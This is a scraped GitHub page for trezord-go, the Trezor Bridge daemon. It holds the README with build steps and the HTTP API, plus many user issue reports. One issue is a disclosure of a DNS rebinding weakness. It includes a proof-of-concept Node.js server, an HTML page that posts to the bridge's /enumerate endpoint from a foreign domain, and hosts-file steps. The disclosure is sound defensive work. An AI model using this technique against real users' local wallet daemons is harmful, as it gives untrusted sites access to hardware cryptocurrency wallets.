Git Product home page Git Product logo

trezord-go's Introduction

trezord-go

Build status Installer build status Go Report Card

Trezor Communication Daemon aka Trezor Bridge.

Only compatible with Chrome (version 53 or later) and Firefox (version 55 or later).

We officially don't support Windows 7 and older; it could run, but we don't guarantee it.

What does trezord do and why it is needed?

Trezord is a tiny http server, that allows webpages (like Trezor Suite in web mode) to communicate with Trezor directly.

Our new devices now support WebUSB, which should eliminate the need for Trezor Bridge; however, there are some reasons, why bridge is still needed.

  1. Firefox does not allow WebUSB (see discussion here).
  2. Devices with old firmware (2018 and older) support only HID and not WebUSB.
  3. WebUSB does not allow synchronization of USB access between domains.

Install and run from source

trezord-go requires go >= 1.18.

git clone --recursive https://github.com/trezor/trezord-go.git
cd trezord-go
go build .
./trezord-go -h

On Linux don't forget to install the udev rules if you are running from source and not using pre-built packages.

Debug mode

When built with -tags debug a debug mode is enabled. This disables CORS which is helpful for local development and when run inside a docker image.

Build release packages

Prerequisites:

  • install docker
  • make sure docker is in $PATH
  • make build-release; the installers are in release/installers, binaries in release/binaries

The base docker images are all built for both ARM and Intel 64, so they should work on both x64 architectures and ARM.

The base images are quite big and can take a while to download (mainly the musl cross-compiler, about 1 GB) and build (mainly the Rust-based apple-codesign). However, it should be cached correctly and run fast next time.

Signing release packages

By default, the binaries and installers are unsigned and unnotarized. The build does not require any certificates or private keys, but produces unsigned binaries and packages.

The notarization and signing is all done in Docker, so it can run everywhere. (No need to run the mac notarization on macOS, etc.)

If you want to sign the packages, you need the following:

  • For Linux, you need to put GPG private key into release/linux/privkey.asc.
  • For Windows, you need to put GPG private key into release/windows/privkey.asc and an authenticode to release/windows/authenticode.key and release/windows/authenticode.crt.
  • For macOS:
    1. You need to put GPG private key into release/macos/privkey.asc.
    2. Then you need to generate and put a lot of things for notarization and signing into release/macos/certs; see the details in top comment of release/macos/release.sh.

All those files are ignored by .gitignore so they are not accidentally put into git.

Emulator support

Trezord supports emulators for all Trezor versions. However, you need to enable it manually; it is disabled by default. After enabling, services that work with emulator can work with all services that support trezord.

To enable emulator, run trezord with a parameter -e followed by port, for every emulator with an enabled port:

./trezord-go -e 21324

You can disable all USB in order to run on some virtuaized environments, for example on CI:

./trezord-go -e 21324 -u=false

API documentation

trezord-go starts a HTTP server on http://localhost:21325. AJAX calls are only enabled from trezor.io subdomains.

Server supports following API calls:

url
method
parameters result type description
/
POST
{version: string} Returns current version of bridge
/enumerate
POST
Array<{path: string,
session: string | null}>
Lists devices.
path uniquely defines device between more connected devices. Two different devices (or device connected and disconnected) will return different paths.
If session is null, nobody else is using the device; if it's string, it identifies who is using it.
/listen
POST
request body: previous, as JSON like enumerate Listen to changes and returns either on change or after 30 second timeout. Compares change from previous that is sent as a parameter. "Change" is both connecting/disconnecting and session change.
/acquire/PATH/PREVIOUS
POST
PATH: path of device
PREVIOUS: previous session (or string "null")
{session: string} Acquires the device at PATH. By "acquiring" the device, you are claiming the device for yourself.
Before acquiring, checks that the current session is PREVIOUS.
If two applications call acquire on a newly connected device at the same time, only one of them succeed.
/release/SESSION
POST
SESSION: session to release {} Releases the device with the given session.
By "releasing" the device, you claim that you don't want to use the device anymore.
/call/SESSION
POST
SESSION: session to call

request body: hexadecimal string
hexadecimal string Both input and output are hexadecimal, encoded in following way:
first 2 bytes (4 characters in the hexadecimal) is the message type
next 4 bytes (8 in hex) is length of the data
the rest is the actual encoded protobuf data.
Protobuf messages are defined in this protobuf file and the app, calling trezord, should encode/decode it itself.
/post/SESSION
POST
SESSION: session to call

request body: hexadecimal string
0 Similar to call, just doesn't read response back. Also forces the message to be sent even if another call is in progress. Usable mainly for debug link and workflow cancelling on Trezor.
/read/SESSION
POST
SESSION: session to call 0 Similar to call, just doesn't post, only reads. Usable mainly for debug link.

Debug link support

Trezord has support for debug link.

To support an emulator with debug link, run

./trezord-go -ed 21324:21325 -u=false

this will detect emulator debug link on port 21325, with regular device on 21324.

To support WebUSB devices with debug link, no option is needed, just run trezord-go.

In the enumerate and listen results, there are now two new fields: debug and debugSession. debug signals that device can receive debug link messages.

Session management is separate for debug link and normal interface, so you can have two applications - one controlling trezor and one "normal".

There are new calls:

  • /debug/acquire/PATH, which has the same path as normal acquire, and returns a SESSION
  • /debug/release/SESSION releases session
  • /debug/call/SESSION, /debug/post/SESSION, /debug/read/SESSION work as with normal interface

The session IDs for debug link start with the string "debug".

Copyright

trezord-go's People

Contributors

admin-slush avatar alexdupre avatar aloisklink avatar aredubya avatar bosomt avatar conejoninja avatar drkskwlkr avatar igor-hnizdo avatar jpochyla avatar karelbilek avatar matejkriz avatar mrekucci avatar nekoteoj avatar nicolaisoeborg avatar onionltd avatar prusnak avatar rfjakob avatar saleemrashid avatar slush0 avatar szymonlesisz avatar tsusanka avatar vdovhanych avatar vladimirvolek avatar xaionaro avatar yukiisbored avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

trezord-go's Issues

Allow requests from node (No origin)

I was trying to use trezor.ts in my node application, but Bridge v2 was rejecting requests to it with 403. After some digging, I found that the CORS validator was supposed to allow this, but had it commented out:

// `null` is for electron apps or chrome extensions.
Is there any reason this was removed? Can it be added back in?

Initial issue was over at trezor/trezor-link#7

Where are the tests?

I'm looking at integrating Trezor support into gocryptfs. And I'm thinking about using trezord-go to handle the USB side of things to keep the code in gocryptfs simple.

Now, maybe I'm missing something, but does this project really have zero tests?

Qubes 4.0 (Fedora 26 template) - Model T connection problems

I'm running Qubes OS 4.0 (Fedora 26 template) and experience connection problems only with the Model T while Trezor One works fine.

I'm using trezor-bridge-2.0.12-1.x86_64.rpm.
Model T firmware: 2.0.6

What's the exact problem?
It seems like the Model T is connected for a second in the beta-wallet (Chromium) via trezord, but then the following error is shown:

Action was interrupted
Error details: The device was disconnected.

Trezor One works fine on that system.

I also tried the Model T with different cables and on different USB ports, always the same issue. And I checked the Model T on another Ubuntu 16.04, where it works fine. So it's either the trezord on Fedora 26 which is causing this, or a rare firmware issue with the Model T which is only present on Fedora 26 (Qubes 4.0)?

trezord output:

$ trezord
2018/04/21 16:51:44 trezord is starting.
2018/04/21 16:51:50 POST /
127.0.0.1 - - [21/Apr/2018:16:51:50 -0400] "POST / HTTP/1.1" 200 21
2018/04/21 16:51:50 POST /enumerate
127.0.0.1 - - [21/Apr/2018:16:51:50 -0400] "POST /enumerate HTTP/1.1" 200 3
2018/04/21 16:51:51 POST /listen
127.0.0.1 - - [21/Apr/2018:16:51:51 -0400] "POST /listen HTTP/1.1" 200 64
2018/04/21 16:52:08 POST /listen
2018/04/21 16:52:08 POST /acquire/web01/null
2018/04/21 16:52:12 Warning: error at device reset: LIBUSB_ERROR_NOT_FOUND
2018/04/21 16:52:12 Warning: error at configuration set: LIBUSB_ERROR_NO_DEVICE
2018/04/21 16:52:12 Returning error: device not found
127.0.0.1 - - [21/Apr/2018:16:52:08 -0400] "POST /acquire/web01/null HTTP/1.1" 400 29
127.0.0.1 - - [21/Apr/2018:16:52:08 -0400] "POST /listen HTTP/1.1" 200 3
2018/04/21 16:52:16 POST /listen

dmesg output:

[ 2517.644162] usb 1-1: SetAddress Request (34) to port 0
[ 2517.667220] usb 1-1: New USB device found, idVendor=1209, idProduct=53c1
[ 2517.667287] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 2517.667329] usb 1-1: Product: TREZOR
[ 2517.667353] usb 1-1: Manufacturer: SatoshiLabs
[ 2517.667395] usb 1-1: SerialNumber: XXXXXXXXXXXXXXXXXXXXXXXX
[ 2517.682497] hid-generic 0003:1209:53C1.000C: hiddev96,hidraw0: USB HID v1.11 Device [SatoshiLabs TREZOR] on usb-vhci_hcd.0-1/input1
[ 2525.985061] vhci_hcd: vhci_device speed not set
[ 2526.191132] vhci_hcd: vhci_device speed not set
[ 2526.399124] vhci_hcd: vhci_device speed not set
[ 2526.607101] vhci_hcd: vhci_device speed not set
[ 2526.815132] vhci_hcd: vhci_device speed not set
[ 2526.815208] usb usb1-port1: Cannot enable. Maybe the USB cable is bad?
...
[ 2533.351197] usb usb1-port1: Cannot enable. Maybe the USB cable is bad?
[ 2533.351274] usb usb1-port1: unable to enumerate USB device

Initialize didn't respond

Steps to reproduce (chrome + macos):

  1. Connect T2 (unlock pin)
  2. Go to wallet (let the wallet read accounts)
  3. Refresh wallet with console opened
  4. When device is in initialize process refresh again (you need to be quick enough and do it before Initialize response from bridge)
  5. After wallet reloads device will be in unacquired state, and [trezor.js] [call] Sending Initialize {} will never be resolved.

I'm putting this issue here, but i'm not sure which layer is responsible for that (bridge or trezor-link)

Unable to build on go =< 1.8

Some applications (for example gocryptfs) supports building on go 1.5-1.10. But trezord-go supports building only on 1.9-1.10. Otherwise:

.../usb/bus.go:14: syntax error: unexpected = in type declaration
.../usb/bus.go:15: syntax error: unexpected = in type declaration
.../usb/bus.go:16: syntax error: unexpected = in type declaration

In the meantime usbhid was moved into trezord-go while it (usbhid) was used by conejoninja/tesoro (used by xaionaro-go/cryptoWallet used by rfjakob/gocryptfs). So it (gocryptfs, cryptoWallet and tesoro) cannot pass a check of go vet on go 1.5-1.8, now.

Can you remove this aliases from usb/bus.go? IMO, it's too early for this feature to be used.

remove dpkg-sig

Currently, dpkg-sig is 60% of trezord-go codebase.

Is it necessary? And why? It already exists in debian distros.

It seems not to be present on Fedora.

FreeBSD support

I'm trying to port trezord-go to FreeBSD. I'm not used to go build system, I was able to overcome a few issues but now I'm stuck with the following error. Any suggestion?

===>  Building for trezord-go-2.0.0
github.com/trezor/trezord-go/vendor/github.com/gorilla/mux
github.com/trezor/trezord-go/wire
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers
github.com/trezor/trezord-go/vendor/github.com/trezor/usbhid
github.com/trezor/trezord-go/vendor/gopkg.in/natefinch/lumberjack.v2
# github.com/trezor/trezord-go/vendor/github.com/trezor/usbhid
cc: warning: argument unused during compilation: '-gno-record-gcc-switches' [-Wunused-command-line-argument]
# github.com/trezor/trezord-go/vendor/github.com/trezor/usbhid
cc: warning: argument unused during compilation: '-pthread' [-Wunused-command-line-argument]
cc: warning: argument unused during compilation: '-gno-record-gcc-switches' [-Wunused-command-line-argument]
cc: warning: argument unused during compilation: '-nopie' [-Wunused-command-line-argument]
github.com/trezor/trezord-go/usb
# github.com/trezor/trezord-go/usb
usb/hidapi.go:58:27: undefined: usbhid.HidDeviceInfo
usb/hidapi.go:66:32: undefined: usbhid.HidDeviceInfo
usb/hidapi.go:73:7: undefined: usbhid.HidDevice
*** Error code 2

Dependency is not satisfiable: libmicrohttpd10

If you want to use TREZOR with different browsers, please install TREZOR Bridge.
trezor-bridge_1.2.1_amd64.deb

sudo gdebi trezor-bridge_1.2.1_amd64.deb 
Reading package lists... Done
Building dependency tree        
Reading state information... Done
Reading state information... Done
This package is uninstallable
Dependency is not satisfiable: libmicrohttpd10
sudo apt install libmicrohttpd10
Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package libmicrohttpd10
uname -a
Linux ... 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux

current Debian has no libmicrohttpd10 yet?

https://packages.debian.org/search?keywords=libmicrohttpd10

Panic while writing on the HID device

Full trezord-log after opening beta-wallet.trezor.io with Firefox on FreeBSD.

2018/02/09 12:45:45 POST /
127.0.0.1 - - [09/Feb/2018:12:45:45 +0100] "POST / HTTP/1.1" 200 20
2018/02/09 12:45:45 POST /enumerate
127.0.0.1 - - [09/Feb/2018:12:45:45 +0100] "POST /enumerate HTTP/1.1" 200 123
2018/02/09 12:45:46 POST /listen
2018/02/09 12:45:46 POST /acquire/hid504e0c8fe6cd83ce6ca39c62602ce5786f28bfa3a0b2110e5d106128ad952cef/null
127.0.0.1 - - [09/Feb/2018:12:45:46 +0100] "POST /acquire/hid504e0c8fe6cd83ce6ca39c62602ce5786f28bfa3a0b2110e5d106128ad952cef/null HTTP/1.1" 200 16
2018/02/09 12:45:46 POST /call/1
2018/02/09 12:45:46 http: panic serving 127.0.0.1:33546: runtime error: invalid memory address or nil pointer dereference
goroutine 37 [running]:
net/http.(*conn).serve.func1(0xc4200afd60)
        /usr/local/go/src/net/http/server.go:1697 +0xd0
panic(0x6cbca0, 0xa88f90)
        /usr/local/go/src/runtime/panic.go:491 +0x283
github.com/trezor/trezord-go/usb.(*HID).readWrite(0xc420090148, 0xc42012e700, 0x40, 0x40, 0x0, 0x6bbfa0, 0x6e0701, 0xc42012e700)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/usb/hidapi.go:92 +0x7e
github.com/trezor/trezord-go/usb.(*HID).Write(0xc420090148, 0xc42012e700, 0x40, 0x40, 0x0, 0x800b39208, 0xc4200557f0)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/usb/hidapi.go:99 +0x4e
github.com/trezor/trezord-go/wire.(*Message).WriteTo(0xc42010cb60, 0x800b39208, 0xc420090148, 0x800b39208, 0xc420090148, 0xc420092280)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/wire/v1.go:53 +0x1e1
github.com/trezor/trezord-go/server.(*server).Call(0xc420092280, 0x800b39120, 0xc4201941e0, 0xc42013a800)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/server/http.go:398 +0x2e3
github.com/trezor/trezord-go/server.(*server).Call-fm(0x800b39120, 0xc4201941e0, 0xc42013a800)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/server/http.go:63 +0x48
net/http.HandlerFunc.ServeHTTP(0xc4200810a0, 0x800b39120, 0xc4201941e0, 0xc42013a800)
        /usr/local/go/src/net/http/server.go:1918 +0x44
github.com/trezor/trezord-go/vendor/github.com/gorilla/mux.(*Router).ServeHTTP(0xc4200aa240, 0x800b39120, 0xc4201941e0, 0xc42013a800)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/vendor/github.com/gorilla/mux/mux.go:150 +0xed
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers.(*cors).ServeHTTP(0xc4201307e0, 0x800b39120, 0xc4201941e0, 0xc42013a600)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers/cors.go:128 +0x20b
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers.loggingHandler.ServeHTTP(0xa944a0, 0xc420090010, 0xa93ae0, 0xc4201307e0, 0xa984e0, 0xc42013c1c0, 0xc42013a600)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers/handlers.go:69 +0x123
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers.(*loggingHandler).ServeHTTP(0xc42010c900, 0xa984e0, 0xc42013c1c0, 0xc42013a600)
        <autogenerated>:1 +0x75
github.com/trezor/trezord-go/server.logRequest.func1(0xa984e0, 0xc42013c1c0, 0xc42013a600)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/server/http.go:88 +0x108
net/http.HandlerFunc.ServeHTTP(0xc42010c920, 0xa984e0, 0xc42013c1c0, 0xc42013a600)
        /usr/local/go/src/net/http/server.go:1918 +0x44
net/http.serverHandler.ServeHTTP(0xc4200a8ea0, 0xa984e0, 0xc42013c1c0, 0xc42013a600)
        /usr/local/go/src/net/http/server.go:2619 +0xb4
net/http.(*conn).serve(0xc4200afd60, 0xa98a60, 0xc42009e640)
        /usr/local/go/src/net/http/server.go:1801 +0x71d
created by net/http.(*Server).Serve
        /usr/local/go/src/net/http/server.go:2720 +0x288
2018/02/09 12:45:46 POST /call/1
2018/02/09 12:45:46 http: panic serving 127.0.0.1:33547: runtime error: invalid memory address or nil pointer dereference
goroutine 41 [running]:
net/http.(*conn).serve.func1(0xc4200afea0)
        /usr/local/go/src/net/http/server.go:1697 +0xd0
panic(0x6cbca0, 0xa88f90)
        /usr/local/go/src/runtime/panic.go:491 +0x283
github.com/trezor/trezord-go/usb.(*HID).readWrite(0xc420090148, 0xc42012e780, 0x40, 0x40, 0x0, 0x6bbfa0, 0x6e0701, 0xc42012e780)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/usb/hidapi.go:92 +0x7e
github.com/trezor/trezord-go/usb.(*HID).Write(0xc420090148, 0xc42012e780, 0x40, 0x40, 0x0, 0x0, 0xc4200557f0)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/usb/hidapi.go:99 +0x4e
github.com/trezor/trezord-go/wire.(*Message).WriteTo(0xc42010cc00, 0x800b39208, 0xc420090148, 0x800b39208, 0xc420090148, 0xc420092280)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/wire/v1.go:53 +0x1e1
github.com/trezor/trezord-go/server.(*server).Call(0xc420092280, 0x800b39120, 0xc420194450, 0xc42013ab00)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/server/http.go:398 +0x2e3
github.com/trezor/trezord-go/server.(*server).Call-fm(0x800b39120, 0xc420194450, 0xc42013ab00)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/server/http.go:63 +0x48
net/http.HandlerFunc.ServeHTTP(0xc4200810a0, 0x800b39120, 0xc420194450, 0xc42013ab00)
        /usr/local/go/src/net/http/server.go:1918 +0x44
github.com/trezor/trezord-go/vendor/github.com/gorilla/mux.(*Router).ServeHTTP(0xc4200aa240, 0x800b39120, 0xc420194450, 0xc42013ab00)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/vendor/github.com/gorilla/mux/mux.go:150 +0xed
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers.(*cors).ServeHTTP(0xc4201307e0, 0x800b39120, 0xc420194450, 0xc42013a900)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers/cors.go:128 +0x20b
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers.loggingHandler.ServeHTTP(0xa944a0, 0xc420090010, 0xa93ae0, 0xc4201307e0, 0xa984e0, 0xc42013c460, 0xc42013a900)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers/handlers.go:69 +0x123
github.com/trezor/trezord-go/vendor/github.com/gorilla/handlers.(*loggingHandler).ServeHTTP(0xc42010c900, 0xa984e0, 0xc42013c460, 0xc42013a900)
        <autogenerated>:1 +0x75
github.com/trezor/trezord-go/server.logRequest.func1(0xa984e0, 0xc42013c460, 0xc42013a900)
        /wrkdirs/usr/ports/security/trezord-go/work/src/github.com/trezor/trezord-go/server/http.go:88 +0x108
net/http.HandlerFunc.ServeHTTP(0xc42010c920, 0xa984e0, 0xc42013c460, 0xc42013a900)
        /usr/local/go/src/net/http/server.go:1918 +0x44
net/http.serverHandler.ServeHTTP(0xc4200a8ea0, 0xa984e0, 0xc42013c460, 0xc42013a900)
        /usr/local/go/src/net/http/server.go:2619 +0xb4
net/http.(*conn).serve(0xc4200afea0, 0xa98a60, 0xc42009e880)
        /usr/local/go/src/net/http/server.go:1801 +0x71d
created by net/http.(*Server).Serve
        /usr/local/go/src/net/http/server.go:2720 +0x288
2018/02/09 12:45:46 POST /release/1
127.0.0.1 - - [09/Feb/2018:12:45:46 +0100] "POST /release/1 HTTP/1.1" 200 16

Bridge not autostarting on Windows when non-admin account is used

Hopefully this is the correct place for this. If not, please let me know which repo is more appropriate.

Every time I reboot, I need to reinstall the trezor bridge for Armory wallet to connect. I'm not sure, but I believe that this is because I run as a non-admin user by default. When I run the installer, it does a UAC popup so that I can put in my admin account. In the last step of the installer, it launches the bridge.

My suspicion is that the non-admin user doesn't get setup to autolaunch the trezor bridge. In addition, I don't see any entry in the start menu, so I can't launch it manually.

providing more distribution-friendly artefacts for releases

I'm planning on packaging this project for openSUSE (so users don't need to install third-party RPMs). From the perspective of a distribution, the most safe way for a project to provide source code that a distribution can use for building is to provide:

  • A deterministic .tar.gz of all the source code, including any vendored dependencies in Go. This can be generated from git pretty easily.
  • A detached signature of the above .tar.gz.
  • A signed set of hashes of the built binaries would also be useful for reproducible build checking, if the project is reproducibly built (which it is since it's a Go project).
  • And a link to the PGP key used for the above signing -- preferably in an gpg-offline format but that's not required.

(Though you should note that we don't need any of this, I can already make a package of trezord with the existing git tags.)

I already have a script that does all of this, and is used by both runc (the runtime that Docker uses) as well as umoci. This script is written so that you can easily swap out the distribution-specific parts of the build process, but still have the same structure of files to upload.

If you like I can submit a PR which will include the above script so that you can publish these files as well.

DNS rebinding

I was just playing around with this and found that it is weak to DNS rebinding attacks.

I was able to get access from a non-trezor domain with the latest version of Chrome (it's easier to demo DNS rebinding attacks with Chrome [Chrome must make another name lookup before connecting separately for the AJAX request]).

My simple POC setup consisted of a local web server bound to port 21325 on a non-loopback interface and the bridge bound to port 21325 on loopback (127.0.0.1). The web server could be any old server on the net. I did it this way to keep it all in one place.

Here's the simple node.js static content server that I used:

const express = require('express');
const app = express();
app.use(express.static('public'));
const http = require('http');
http.createServer(app).listen(21325, '192.168.1.10');

Here's the index.html:

<!doctype html>
<html>
<head>
  <script>
    function poc() {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "http://nottrezor.io:21325/enumerate", true);
      xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          alert(this.responseText);
        }
      };
      xhr.send();
    }
  </script>
</head>
<body>
  <button id="clicker" onclick="poc()">Enumerate TREZOR devices</button>
</body>
</html>

To reproduce:

  1. Run the bridge and the static content server bound to different interfaces.
  2. Add to /etc/hosts (this simulates what an attacker would do with DNS):
    192.168.1.10 nottrezor.io
  3. Visit http://nottrezor.io:21325/index.html in Chrome
  4. Change /etc/hosts line that you added before to (this simulates what an attacker would do with DNS):
    127.0.0.1 nottrezor.io
  5. Click button on the page over in the browser and get access to the connected devices in the context of the nottrezor.io domain.

WebUSB Trezor One is recognized as Trezor T on status page

WebUsb Trezor One is recognized as Trezor T on status page

That's because status page only looks at the vid/pid and is not doing any communication.

I am not sure if it is even possible to recognize webusb t1 and tt just from descriptors... it intentionally has the same vid/pid. But maybe there is some other information in some other field?

Sign on windows 10

Windows installer on windows 10 shows warning about "Unknown publisher"

Similar to #5 , just with a different company

Packaging for Android

It might be easy to package the app for android, which will allow for mytrezor to work on phone better (even without webusb/with HID devices)

Bridge installs incorrectly when on Win7 non-admin account

Slightly related to #83 , but not 100%

If user is not admin, on win7, the bridge is not installed correctly, the libwdi installer is not run.

I am not sure what to do with it. We can force the user to be admin, but I am not sure if we need that actually...

Win8+ users don't need the libwdi craziness.

Trezor Bridge 2.0.6 linux errors

I downloaded from https://wallet.trezor.io/#/ your
trezor-bridge linux64bit (deb) zip file, version 2.0.6, and installed it.

But, after installing, I cannot get to the welcome page at
https://wallet.trezor.io.

My OS is: Ubuntu 16.04 Xenial Xerus.
My browser is: Firefox ESR version 52.6.0.

(I disabled the Firefox add-ons Privacy Badger and uBlock Origin, and
I still cannot get to the wallet welcome page.)

Here is the Lintian output from my package installer (I used the
GDebi package installer v. 0.9.5.7ubuntu1):

E: trezor-bridge: unstripped-binary-or-object usr/bin/trezord
W: trezor-bridge: missing-depends-line
E: trezor-bridge: no-copyright-file
E: trezor-bridge: misplaced-extra-member-in-deb _gpgbuilder
(unexpected _member at position 3)
E: trezor-bridge: extended-description-is-empty
W: trezor-bridge: unknown-section Productivity/Security
W: trezor-bridge: unknown-section Productivity/Security
W: trezor-bridge: binary-without-manpage usr/bin/trezord
E: trezor-bridge: systemd-service-file-outside-lib
usr/lib/systemd/system/trezord.service

Lintian finished with exit status 1

I tried moving the trezord.service file OUT of:
/usr/lib/systemd/system/
and INTO:
/lib/systemd/system/
but this did not help.

Please advise, thanks

Stuck on version 2.0.12

Following the build instructions gives me version 2.1.12.
I'm getting the version by running trezord-go and visiting http://localhost:21325/ in the browser.
(would be great to have a -version flag)

  • go1.10.2 linux/amd64

I was able to build version 2.1.13 with the golang docker image but the wallet was not able to detect that trezord was running displayed the "not installed" message.

not emitting disconnect msg / ghost device?

I have experienced familiar buggy behavior of Bridge Version: 2.0.11 on MacOS 10.13.3.

Very rarely the device is not emitting disconnect message via latest Connect and is acting like stilll connected device until next action (after hitting cipherKeyValue) bridge send disconnect message and everything seems fine.

log attached
log.txt

Can this project be run on travis?

I'm writing a bridge to this API, and am working on integration testing the library: https://github.com/Bit-Wasp/trezor-bridge-client I figure that the trezor emulator and the trezord-go binary should be enough for this, but I seem to get an error with starting the USB layer on travis.

Considering just patching those lines out for my test, but I'm curious if you've run into this before or what your solution was!

https://travis-ci.org/Bit-Wasp/trezor-bridge-client/jobs/363476849#L3117

Add init.d scripts for non-systemd linuxes

Although systemd is more or less a standard in linux world, some users are reporting "bridge doesn't start" due to missing init.d script. Although it is for backward compatibility only, I think it is reasonable to include init.d script.

Publish the keyId used to sign the Windows installer

Hello,
I'd like to verify the integrity of the Trezor Bridge Installer for Windows using GPG4Win but, for doing that, I need the keyId that Trezor used to sign the Windows installer.
Could you publish it so that we can verifiy the integrity of the Trezor Bridge Windows installer, please?
Thanks in advance.
Kind regards,

Rodrigo

unable to build

Here's what I'm running:

git clone https://github.com/trezor/trezord-go
cd trezord-go
git checkout f7b3ecd # v2.0.6
go build

Here's the output I'm getting:

trezord.go:10:2: cannot find package "github.com/trezor/trezord-go/server" in any of:
        /usr/lib64/go/src/github.com/trezor/trezord-go/server (from $GOROOT)
        /home/salfter/go/src/github.com/trezor/trezord-go/server (from $GOPATH)
trezord.go:11:2: cannot find package "github.com/trezor/trezord-go/usb" in any of:
        /usr/lib64/go/src/github.com/trezor/trezord-go/usb (from $GOROOT)
        /home/salfter/go/src/github.com/trezor/trezord-go/usb (from $GOPATH)
trezord.go:12:2: cannot find package "gopkg.in/natefinch/lumberjack.v2" in any of:
        /usr/lib64/go/src/gopkg.in/natefinch/lumberjack.v2 (from $GOROOT)
        /home/salfter/go/src/gopkg.in/natefinch/lumberjack.v2 (from $GOPATH)

I checked for submodules that might need to be checked out...there aren't any declared. What am I missing?

Binary Checksums and SHA256 signing keys.

I would like to suggest two steps to clear any misconceptions with users about the application's security :

  1. Provide SHA256 checksums for the binary downloads available on the download page. Actually, these would be nice for any binaries. Now that Windows users can run checksums easily via the Linux Subsystem one file integrity verification method should work for all platforms.

  2. Upgrade timestamps to SHA256. Currently the downloaded Windows .exe's "Digital Signature" tab lists the certificate as being SHA1, when the actual signature for the application is SHA-256. I believe changing the timestamp would get rid of any Windows SHA1 warnings users might see, as the underlying certificate is SHA256.

Certificate when checking in "allow this app to make changes" UAC window

trezor-bridge-dl-cert

acquiring device fails

127.0.0.1 - - [02/Jul/2018:22:01:59 +0200] "POST /listen HTTP/1.1" 200 5
POST /
127.0.0.1 - - [02/Jul/2018:22:02:05 +0200] "POST / HTTP/1.1" 200 21
POST /enumerate
127.0.0.1 - - [02/Jul/2018:22:02:06 +0200] "POST /enumerate HTTP/1.1" 200 123
POST /listen
POST /acquire/hid2d87352202ffeb810e0f880bfd6ce2df88e8837e7af8fc916da849b0fe774bc0/null
127.0.0.1 - - [02/Jul/2018:22:02:06 +0200] "POST /acquire/hid2d87352202ffeb810e0f880bfd6ce2df88e8837e7af8fc916da849b0fe774bc0/null HTTP/1.1" 400 42

The devide shows up in http://127.0.0.1:21325/status/ but I can't seem to be able to do anything with it.

Running from f63535a

Display freezes if I lock the computer screen while some user action is required on device

Chrome, Linux
wallet.trezor.io

The original issue was "Device freezes when displaying Bitcoin Cash Receiving address if I lock the computer screen".

How to reproduce:

  1. Switch to Bitcoin Cash
  2. Go to Receive tab
  3. Click on Show full address, wait for the address to appear on Trezor Screen
  4. Lock your computer (for 1 min approx)
  5. Restore your computer.

Result: the screen becomes irresponsive.

screen

Update:

The error does not occur with WebUSB, so it looks like a Bridge issue.

The issue is unrelated to Bitcoin Cash, it happens basically any time if you lock your computer for 1 minute while a user action is required on device.

Advertised coins in Features message

Hi there, I'm communicating with the trezor device over usb HID (not technically through trezord, though from a look at trezord-go, it's proxing the same protobuf messages) and successfully getting a Features response back after I send Initialize ('##'). Features lists a bunch of coins that are supported, but Ethereum isn't listed, despite actually being supported.

The list is similar to what is listed here: https://github.com/trezor/trezor-core/blob/master/src/apps/common/coins.py

Is this intentional?

Wrong message type is passed from device

How to reproduce:

  1. enable a passphrase on your device
  2. go to https://szymonlesisz.github.io/trezor-connect-explorer/#/getaddress
  3. click on 'GET ADDRESS' button (popup will show up on a screen + device will show confirmation "Where to enter your passphrase" Device / Host)
  4. close the popup and wait for a second
  5. click on 'Host' on the device
